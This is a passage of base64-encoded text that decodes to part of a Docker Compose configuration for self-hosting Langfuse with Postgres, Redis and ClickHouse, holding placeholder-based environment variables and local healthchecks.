1FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEOi1mYWxzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT049JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRH0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAtICdMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM6LTF9JwogIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogIC0gUkVESVNfSE9TVD1yZWRpcwogIC0gUkVESVNfUE9SVD02Mzc5CiAgLSAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogIC0gJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogIC0gJ1NNVFBfQ09OTkVDVElPTl9VUkw9JHtTTVRQX0NPTk5FQ1RJT05fVVJMOi19JwogIC0gJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAtICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgLSAnSE9TVE5BTUU9JHtIT1NUTkFNRTotMC4wLjAuMH0nCiAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAtICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAtICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ6LW15LXByb2plY3R9JwogIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9OQU1FPSR7U0VSVklDRV9VU0VSX0xBTkdGVVNFfScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKc2VydmljZXM6CiAgbGFuZ2Z1c2U6CiAgICBpbWFnZTogJ2xhbmdmdXNlL2xhbmdmdXNlOjMnCiAgICBkZXBlbmRzX29uOgogICAgICBwb3N0Z3JlczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBjbGlja2hvdXNlOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnZpcm9ubWVudDoKICAgICAgMDogJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAgICAgMTogJ0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AcG9zdGdyZXM6NTQzMi8ke1BPU1RHUkVTX0RCOi1sYW5nZnVzZS1kYn0nCiAgICAgIDI6ICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAgICAgMzogJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgICAgIDQ6ICdURUxFTUVUUllfRU5BQkxFRD0ke1RFTEVNRVRSWV9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIDU6ICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogICAgICA2OiAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgICAgIDc6ICdDTElDS0hPVVNFX1VSTD1odHRwOi8vY2xpY2tob3VzZTo4MTIzJwogICAgICA4OiAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICA5OiAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICAgIDEwOiBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogICAgICAxMTogJ0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9CPSR7TEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I6LWZhbHNlfScKICAgICAgMTI6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAxMzogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgMTQ6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAgICAgMTU6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAxNjogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIDE3OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgICAgIDE4OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogICAgICAxOTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIDIwOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT046LWF1dG99JwogICAgICAyMTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAyMjogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIDIzOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0VORFBPSU5UfScKICAgICAgMjQ6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMjU6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAgICAgMjY6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEOi1mYWxzZX0nCiAgICAgIDI3OiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgMjg6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogICAgICAyOTogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT049JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OOi1hdXRvfScKICAgICAgMzA6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogICAgICAzMTogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgICAgIDMyOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRH0nCiAgICAgIDMzOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgMzQ6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMzU6ICdMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fUVVFVUVfREVMQVlfTVM6LTF9JwogICAgICAzNjogJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogICAgICAzNzogUkVESVNfSE9TVD1yZWRpcwogICAgICAzODogUkVESVNfUE9SVD02Mzc5CiAgICAgIDM5OiAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICA0MDogJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICA0MTogJ1NNVFBfQ09OTkVDVElPTl9VUkw9JHtTTVRQX0NPTk5FQ1RJT05fVVJMOi19JwogICAgICA0MjogJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAgICAgNDM6ICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgICAgIDQ0OiAnSE9TVE5BTUU9JHtIT1NUTkFNRTotMC4wLjAuMH0nCiAgICAgIDQ1OiAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAgICAgNDY6ICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAgICAgNDc6ICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfSUQ6LW15LXByb2plY3R9JwogICAgICA0ODogJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogICAgICA0OTogJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICA1MDogJ0xBTkdGVVNFX0lOSVRfVVNFUl9OQU1FPSR7U0VSVklDRV9VU0VSX0xBTkdGVVNFfScKICAgICAgNTE6ICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKICAgICAgU0VSVklDRV9VUkxfTEFOR0ZVU0VfMzAwMDogJyR7U0VSVklDRV9VUkxfTEFOR0ZVU0VfMzAwMH0nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gd2dldAogICAgICAgIC0gJy1xJwogICAgICAgIC0gJy0tc3BpZGVyJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAwMC9hcGkvcHVibGljL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICBsYW5nZnVzZS13b3JrZXI6CiAgICBpbWFnZTogJ2xhbmdmdXNlL2xhbmdmdXNlLXdvcmtlcjozJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfVVJMX0xBTkdGVVNFfScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgLSAnU0FMVD0ke1NFUlZJQ0VfUEFTU1dPUkRfU0FMVH0nCiAgICAgIC0gJ0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9QQVNTV09SRF82NF9MQU5HRlVTRX0nCiAgICAgIC0gJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgLSAnTEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUz0ke0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM6LWZhbHNlfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9NSUdSQVRJT05fVVJMPWNsaWNraG91c2U6Ly9jbGlja2hvdXNlOjkwMDAnCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVNFUj0ke1NFUlZJQ0VfVVNFUl9DTElDS0hPVVNFfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICAgIC0gQ0xJQ0tIT1VTRV9DTFVTVEVSX0VOQUJMRUQ9ZmFsc2UKICAgICAgLSAnTEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I9JHtMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQjotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg6LWV2ZW50cy99JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg6LW1lZGlhL30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg6LWV4cG9ydHMvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT046LWF1dG99JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUzotMX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM6LTEwMDB9JwogICAgICAtIFJFRElTX0hPU1Q9cmVkaXMKICAgICAgLSBSRURJU19QT1JUPTYzNzkKICAgICAgLSAnUkVESVNfQVVUSD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgICAtICdFTUFJTF9GUk9NX0FERFJFU1M9JHtFTUFJTF9GUk9NX0FERFJFU1M6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnU01UUF9DT05ORUNUSU9OX1VSTD0ke1NNVFBfQ09OTkVDVElPTl9VUkw6LX0nCiAgICAgIC0gJ05FWFRBVVRIX1NFQ1JFVD0ke1NFUlZJQ0VfQkFTRTY0X05FWFRBVVRIU0VDUkVUfScKICAgICAgLSAnQVVUSF9ESVNBQkxFX1NJR05VUD0ke0FVVEhfRElTQUJMRV9TSUdOVVA6LXRydWV9JwogICAgICAtICdIT1NUTkFNRT0ke0hPU1ROQU1FOi0wLjAuMC4wfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfSUQ9JHtMQU5HRlVTRV9JTklUX09SR19JRDotbXktb3JnfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfTkFNRT0ke0xBTkdGVVNFX0lOSVRfT1JHX05BTUU6LU15IE9yZ30nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRD0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRDotbXktcHJvamVjdH0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU6LU15IFByb2plY3R9JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw9JHtMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9VU0VSX05BTUU9JHtTRVJWSUNFX1VTRVJfTEFOR0ZVU0V9JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0xBTkdGVVNFfScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHJlZGlzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIGNsaWNraG91c2U6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTctYWxwaW5lJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICB2b2x1bWVzOgogICAgICAtICdsYW5nZnVzZV9wb3N0Z3Jlc19kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtaCBsb2NhbGhvc3QgLVUgJCR7UE9TVEdSRVNfVVNFUn0gLWQgJCR7UE9TVEdSRVNfREJ9JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6OCcKICAgIGNvbW1hbmQ6CiAgICAgIC0gc2gKICAgICAgLSAnLWMnCiAgICAgIC0gJ3JlZGlzLXNlcnZlciAtLXJlcXVpcmVwYXNzICIkU0VSVklDRV9QQVNTV09SRF9SRURJUyInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUkVESVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX3JlZGlzX2RhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSAnLWEnCiAgICAgICAgLSAkU0VSVklDRV9QQVNTV09SRF9SRURJUwogICAgICAgIC0gUElORwogICAgICBpbnRlcnZhbDogM3MKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDEwCiAgY2xpY2tob3VzZToKICAgIGltYWdlOiAnY2xpY2tob3VzZS9jbGlja2hvdXNlLXNlcnZlcjpsYXRlc3QnCiAgICB1c2VyOiAnMTAxOjEwMScKICAgIGVudmlyb25tZW50OgogICAgICAtICdDTElDS0hPVVNFX0RCPSR7Q0xJQ0tIT1VTRV9EQjotZGVmYXVsdH0nCiAgICAgIC0gJ0NMSUNLSE9VU0VfVVNFUj0ke1NFUlZJQ0VfVVNFUl9DTElDS0hPVVNFfScKICAgICAgLSAnQ0xJQ0tIT1VTRV9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfQ0xJQ0tIT1VTRX0nCiAgICB2b2x1bWVzOgogICAgICAtICdsYW5nZnVzZV9jbGlja2hvdXNlX2RhdGE6L3